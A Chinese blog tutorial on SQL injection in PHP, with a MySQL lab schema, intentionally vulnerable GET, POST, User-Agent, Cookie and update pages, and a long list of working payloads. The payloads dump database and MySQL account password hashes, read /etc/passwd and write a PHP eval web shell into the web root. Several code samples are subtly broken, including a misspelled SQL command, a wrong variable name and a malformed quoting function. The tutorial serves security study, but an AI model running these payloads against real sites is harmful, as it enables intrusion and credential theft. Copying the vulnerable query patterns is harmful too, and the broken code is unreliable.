PHP 编程SQL注入问题与代码

PHP技术
405
0
0
2023-02-12
标签   SQL注入

SQL注入问题是Web安全中最为常见的,多数情况下是用户在编写原生SQL语句时没有考虑到的一些细节,例如对用户输入过滤不严格等,典型的注入漏洞代码已经做好了总结,大家可以更具实际情况学习代码存在的问题,方便查缺补漏。

基本查询语句

搭建SQL注入演练环境,首先确保MySQL版本为MySQL 5.7以上,并导入下方的数据库脚本自动创建相应的数据库文件.

drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists local_user;
create table local_user(
	id int(10) primary key not null,
	username varchar(100) not null,
	password varchar(100) not null,
	usremail varchar(100) not null,
	usertype int(1) default 0
);
alert table local_user character set utf8;
insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),
(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
(4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");

接着安装好PHP7.0或以上版本的环境,并创建index.php文件,写入以下测试代码,数据库密码请自行修改.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    $id = $_GET['id'];
		    if(isset($id))
		    {
	            $sql = "select * from local_user where id='$id' limit 0,1";
	            $query = mysqli_query($connect,$sql);
	            if($query)
	            	$row = mysqli_fetch_array($query);
		    }
		}
	?>
<body>
	<table border="1">
	   <tr>
	   		<th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th>
	   </tr>
	   <tr>
          <td><?php echo $row['id']; ?></td>
          <td><?php echo $row['username']; ?></td>
          <td><?php echo $row['password']; ?></td>
          <td><?php echo $row['usremail']; ?></td>
          <td><?php echo $row['usertype']; ?></td>
	   </tr>
	</table><br>
	<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?>
</body>
</html>

Union 查询字段个数: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常.

首先我们猜测,当前字段数为4的时候页面无返回,也就说明表字段数必然是大于4的,接着增加一个字段,查询1,2,3,4,5时页面显示正常,说明表结构是5个字段的.

index.php?id=1' and 1=0 union select 1,2,3,4 --+

index.php?id=1' and 1=0 union select 1,2,3,4,5 --+
index.php?id=1' and 1=0 union select null,null,null,null,null --+

Order By查询字段个数: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从而报错或无法正常显示.

首先我们猜测数据库有6个字段,尝试根据第6行进行排序发现数据无法显示,说明是小于6的,我们继续使用5测试,此时返回了结果.

index.php?id=1' and 1 order by 6 --+
index.php?id=1' and 1 order by 5 --+

大部分程序只会调用数据库查询的第一条语句进行查询然后返回,如果想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.

第一种我们让第一个查询的结果始终为假,通过使用and 0来实现,或者通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.

index.php?id=1' and 0 union select null,null,null,null,null --+
index.php?id=1' and 0 union select null,version(),null,null,null --+

index.php?id=1' union select null,null,null,null,null limit 1,1 --+
index.php?id=1' union select null,version(),null,null,null limit 1,1 --+

查全部数据库名称: MySQL默认将所有表数据放入information_schema.schemata这个表中进行存储,我们可以查询这个表中的数据从而找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.

index.php?id=1' and 0 union select 1,1,database(),1,1 --+

index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

# 通过 limit 限定条件每次只输出一个表名称

index.php?id=1' and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema='lyshark' limit 0,1 --+

index.php?id=1' and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema='lyshark' limit 1,1 --+

# 通过 concat 函数一次性输出所有表
index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)
from information_schema.tables where table_schema='lyshark' --+

查询表中字段: 通过使用table_schematable_name指定查询条件,即可查询到表中字段与数据.

# 查询出lyshark数据库local_user表中的,所有字段
index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' --+

# 每次读取出一个表中字段,使用limit进行遍历
index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' limit 0,1 --+

index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' limit 1,1 --+

查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+
index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+

常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

# -----------------------------------------------------------------------------------
# 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.

index.php?id=1' and 1=1 --+    # 提交and判断注入
index.php?id=1' and 1=0 --+
index.php?id=1%2b1             # 提交加号判断注入
index.php?id=2-1               # 提交减号判断注入
index.php?id=1 and sleep(5)    # 延时判断诸如点

# -----------------------------------------------------------------------------------
# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1' and ord(mid(user(),1,1)) = 114 --+

# -----------------------------------------------------------------------------------
# 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
index.php?id=1' and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+                // 5.6以前版本
index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+   // 5.7以后版本

# -----------------------------------------------------------------------------------
# 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+
index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+
index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+

# -----------------------------------------------------------------------------------
# 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
create table shell(cmd text);
insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
select cmd from shell into outfile('/var/www/html/eval.php');

# -----------------------------------------------------------------------------------
# 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1' union select 1,1,load_file("/etc/passwd")       // 加载指定文件
index.php?id=1' union select 1,1,@@datadir                      // 判断数据库目录
index.php?id=1' union select 1,1,@@basedir                      // 判断安装根路径
index.php?id=1' union select 1,1,@@hostname                     // 判断主机名
index.php?id=1' union select 1,1,@@version                      // 判断数据库版本
index.php?id=1' union select 1,1,@@version_compile_os           // 判断系统类型(Linux)
index.php?id=1' union select 1,1,@@version_compile_machine      // 判断系统体系(x86)
index.php?id=1' union select 1,1,user()                         // 曝出系统用户
index.php?id=1' union select 1,1,database()                     // 曝出当前数据库

GET注入

简单的注入测试: 本关中没有对代码进行任何的过滤.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
	<?php
		function getCurrentUrl()
		{
		    $scheme = $_SERVER['REQUEST_SCHEME'];   // 协议
		    $domain = $_SERVER['HTTP_HOST'];        // 域名
		    $requestUri = $_SERVER['REQUEST_URI'];  // 请求参数
		    $currentUrl = $scheme . "://" . $domain . $requestUri;
		    return urldecode($currentUrl);
		}
	?>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    $id = $_GET['id'];
		    if(isset($id))
		    {
		        $sql = "select username,password from local_user where id='$id' limit 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
	        		if($row)
					{
					  	echo "<font size='5'>";
					  	echo "账号: {$row['username']} <br>";
					  	echo "密码: {$row['password']} <br>";
					  	echo "</font>";
					  	echo "后端执行语句: {$sql} <br>";
					  	$URL = getCurrentUrl();
					  	echo "后端URL参数: {$URL} <br>";
				  	}
					else 
					{
						echo "后端执行语句: {$sql} <br>";
						print_r(mysql_error());
					}
		        }
		    }
		}
	?>
</body>
</html>

SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=$id limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=($id) limit 0,1";
http://127.0.0.1/index.php?id=-1) union select 1,version() --+
http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id='$id' limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=('$id') limit 0,1";
http://127.0.0.1/index.php?id=-1') union select 1,version() --+
http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+

$sql = "select username,password from local_user where id=(('$id')) limit 0,1";
http://127.0.0.1/index.php?id=-1')) union select 1,version() --+

---------------------------------------------------------------------------------
$id = '"' . $id . "'";
$sql = "select username,password from local_user where id=($id) limit 0,1";

http://127.0.0.1/index.php?id=-1") union select 1,version() --+
http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+

POST 输入框注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表单" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
			$uname=$_POST['uname'];
			$passwd=$_POST['passwd'];
			$passwd = md5($passwd);

		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		        $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
		        		echo "后端执行语句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端执行语句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

# ---------------------------------------------------------------------------------------------------------
# SQL语句
$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段数
admin' order by 1 #
admin' order by 2 -- 
admin' and 1 union select 1,2,3 #
admin' and 1 union select 1,2 #

# 爆出数据库
admin ' and 0 union select null,database() #
admin' and 0 union select 1,version() #

# 爆出所有表名称(需要注意数据库编码格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #
' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 #

# 爆出表中字段
' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #
' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 #

# 继续爆出所有的用户名密码
' union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 双注入-字符型
# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-双注入
# 
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #

Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="Submit" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		error_reporting(0);
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
				$uname=$_POST['uname'];
				$passwd=$_POST['passwd'];
				$passwd = md5($passwd);

		        $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		// 获取到用户的Agent客户请求体
		        		$Uagent = $_SERVER['HTTP_USER_AGENT'];
						// REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的
						$IP = $_SERVER['REMOTE_ADDR'];

						echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
						echo "您的IP地址是: {$IP} <br>";

						$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";
						mysqli_query($connect,$insert_sql);
						echo "User_Agent请求头: {$Uagent} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

POST /post.php HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

uname=admin&passwd=123123&submit=Submit

修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

User-Agent: 1',1,1)#
uname=admin&passwd=123123&submit=Submit

User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
uname=admin&passwd=123123&submit=Submit

Cookie 注入

Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
	账号: <input type="text"  name="uname" value=""/><br>
	密码: <input type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="Submit" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		error_reporting(0);
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
			$cookee = $_COOKIE['uname'];
			if($cookee)
			{
				$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";
				$query = mysqli_query($connect,$sql);
				echo "执行SQL: " . $sql . "<br>";
				if($query)
				{
					$row = mysqli_fetch_array($query);
					if($row)
					{
						echo "<br> COOKIE 已登录 <br>";
						echo "您的账号: " . $row['username'] . "<br>";
						echo "您的密码: " . $row['password'] . "<br>";
					}
				}
			}

		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
			$uname=$_POST['uname'];
			$passwd=$_POST['passwd'];
			$passwd = md5($passwd);
			$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
			$query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	$cookee = $row['username'];
		        	if($row)
		        	{
		        		setcookie('uname', $cookee, time() + 3600);
		        		$format = 'D d M Y - H:i:s';
		        		$timestamp = time() + 3600;
		        		echo "COOKIE已设置: " . date($format, $timestamp);
		        	}
		        }
		    }
		}
	?>
</body>
</html>

以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

Cookie: uname=admin' and 0 union select database(),2--+
Cookie: uname=admin' and 0 union select version(),2--+

update-xml注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表单" />
</form>
	<?php
		error_reporting(0);
		header("Content-type: text/html;charset=utf8");

		function Check($value)
		{
			if(!empty($value))
			{ // 如果结果不为空,则取出其前十五个字符 18
				$value = substr($value,0,15);
			}
			// 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
			// 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
			if(get_magic_quotes_gpc())
			{
				// 删除由 addslashes() 函数添加的反斜杠
				$value = stripslashes($value);
			}
			if(!ctype_digit($value))
			{
				// ctype_digit()判断是不是数字,是数字就返回true,否则返回false
				// mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
				$value = "'" . mysql_real_escape_string($value) . ".";
			}
			else
				$value = intval($value);
			return $value;
		}


		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		    	$uname=Check($_POST['uname']);
				$passwd=$_POST['passwd'];
				$passwd = md5($passwd);

		        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		$rows = $row['username'];
		        		$udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'";
		        		mysql_query($update);
		        		if(mysql_error())
		        		{
		        			print_r(mysql_error());
		        		}
		        		echo "后端执行语句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端执行语句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>